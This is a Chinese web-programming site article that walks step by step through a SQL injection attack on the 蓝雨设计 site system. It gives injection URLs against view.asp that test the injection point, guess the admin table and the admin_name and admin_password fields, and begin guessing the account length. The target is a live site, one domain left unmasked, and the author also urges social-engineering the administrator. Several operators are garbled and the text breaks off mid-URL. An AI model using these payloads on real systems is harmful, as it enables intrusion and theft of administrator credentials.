您现在的位置:计算机技术学习网 > 技术中心 > WEB编程 > ASP >

实例讲解:蓝雨设计整站SQL注入漏洞

来源:网络整理 责任编辑:栏目编辑 发表时间:2013-07-02 05:12 点击:

  最近无聊,在网上走来走去看看。发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是程序的附加功能就各自不同!安全方面因为基于NOWA的系统所以到目前知道的漏洞就只有上传而已。以下文章中就会出现NOWA修改系统漏洞当中从未有的SQL注入漏洞!只怪蓝雨修改程序的时候没有做好注入问题了!这个可不能怪我!谁叫人家程序设计员不会注意安全死角阿?

  一,确定注入点

  我们就拿官方网站进行测试,因为担心外面提供的版本并非最新版本导致文章的正确性有差异。首先我们提交http://***.net/view.asp?action=art&art_id=70 and 1=1 返回(图1)以下信息。

  再次输入

  http://***.net/view.asp?action=art&art_id=70%20and%201=2 返回(图2)以下信息

  从标准的SQL注入点检测and1=1和and 1=2d 信息返回可以看出,两个图片的分别这个程序的评论存在着SQL注入,因为现在基于NOWA的修改版本都是基于ACCESS数据库架构的,所以我们可以进一步的确定这个程序的数据库类型。

  二,猜解数据库表

  因为本人懒惰所以只好借用NBSI进行SQL注入的工作了,怎么知道是不是因为的NBSI实在太厉害了,不能够杀鸡用牛刀。竟然它全部检测不出我所找到的SQL注入点存在着SQL注入!(图3)实在太令人感到吃惊(HaK_BaN:难道真的....真的要我手动注入T_T)NBSI太给面子了! 所以我只好硬着头皮去进行手动注入了。首先猜解数据库的表是否存在admin表。构造语句提交

  http://***.net/view.asp?action=art&art_id=70%20and%200???? (select%20count(*)%20from%20admin) 现在的程序当中的数据库管理员表,不就是admin,adminuser user之类的名称,所以我们只要抓住程序作者的心理就可以知道了,提交语句之后页面返回正常,我们就可以确定数据库当中是存在admin这个表的。(图 4)我们只是需要admin的密码以及账号,所以数据库当中其他的表可以忽略。

  三,猜解数据库字段

  在猜解之前为了减少更多的麻烦和无谓的猜解,应该要对于所入侵的网站进行一些资料的搜集,例如管理员的QQ以及管理员所使用的网名都是要知道的,因为我们通常都会使用容易记忆的密码以及账号,从而使自己可以不会忘记。找了文章页面等等的功能页面都找不到文章编辑以及管理员的QQ号码。只好在 BBS当中寻找了,很幸运的是我们在BBS当中找到了“蓝雨”这个用户名,这样子等待会猜解admin账号的时候我们可以试试中文的名字或者是拼音字母。 (HaK_BaN:我可是曾经在MSN以一个名字看穿PLMM性格以及生日的哦,大家要注意社会工程学的重要性阿)

  废话少说,我们看看这个程序的管理员字段是什么!?首先猜解是name的提交语句如下http://***.net/view.asp? action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(name)??0) (HaK_BaN:*_*不是阿!不是NAME字段阿)提交语句后信息返回页面显示不正常就证实admin表中没有name这个字段名。看来又要想想如何去进行猜解了,既然name字段不行就试试admin_name字段行不行!再次构造猜解字段语句:http://***.net/view.asp? action=art&art_id=70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??0) (HaK_BaN:这下子总可以了吧?我又迈进一步了!)提交语句之后页面返回正常了,这下子终于可以了。(图片5)

  然后,我们就开始猜解password的字段了,其实一看上面的回显我们就可以非常肯定的说password字段就是 admin_password,所以提交的语句就是http://***.net/view.asp?action=art&art_id= 70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_password)??0) 信息回显正常对吧!?哈哈哈(图片6)

  说到这里整个猜解就差不多完场了!(菜鸟:什么什么阿?还有账号和密码了?你丫的是不是傻了?)猜解密码和账号就更加是一个麻烦和浪费时间的活来的!好好,我们去看看账号和密码的猜解如何?首先我们猜解账号的长短阿!假设,我们之前就已经拿到了管理员常用的账号名称“蓝雨”是管理员账号。我们就有两种可能性,一是蓝雨的拼音“lanyu”,二是蓝雨的中文转为ASCII码进行猜解。我们首先试试拼音这个的可能性,如果是这样子的话我们就要构造 admin_name的长度为5,所以提交语句为http://***.net/view.asp?action=art&art_id=70% 20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)??5) 页面信息返回无法正常显示(图片7)。然后再提交http://fj126.net/view.asp?action=art&art_id= 70%20and%201=(select%20count(*)%20from%20admin%20where%20len(admin_name)?? 4)这下子页面可算是正常了!然后再次提交语句为http://***.net/view.asp?action=art&art_id=70% 20and

    发表评论
    请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
    用户名: 验证码:点击我更换图片
    最新评论 更多>>

    推荐热点

    • WAP常见问题问答大全(四)
    • ASP开发必备:WEB打印代码大全
    • ASP调用系统ping命令
    • asp缓存技术
    • ASP教程:第三篇 ASP基础
    • 用ASP+XML打造留言本(4)
    • 关于ASP Recordset 分页出现负数解决方法及建议
    • 用asp怎样编写文档搜索页面(5)
    • ASP处理多关键词查询实例代码
    网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
    Copyright © 2008-2015 计算机技术学习交流网. 版权所有

    豫ICP备11007008号-1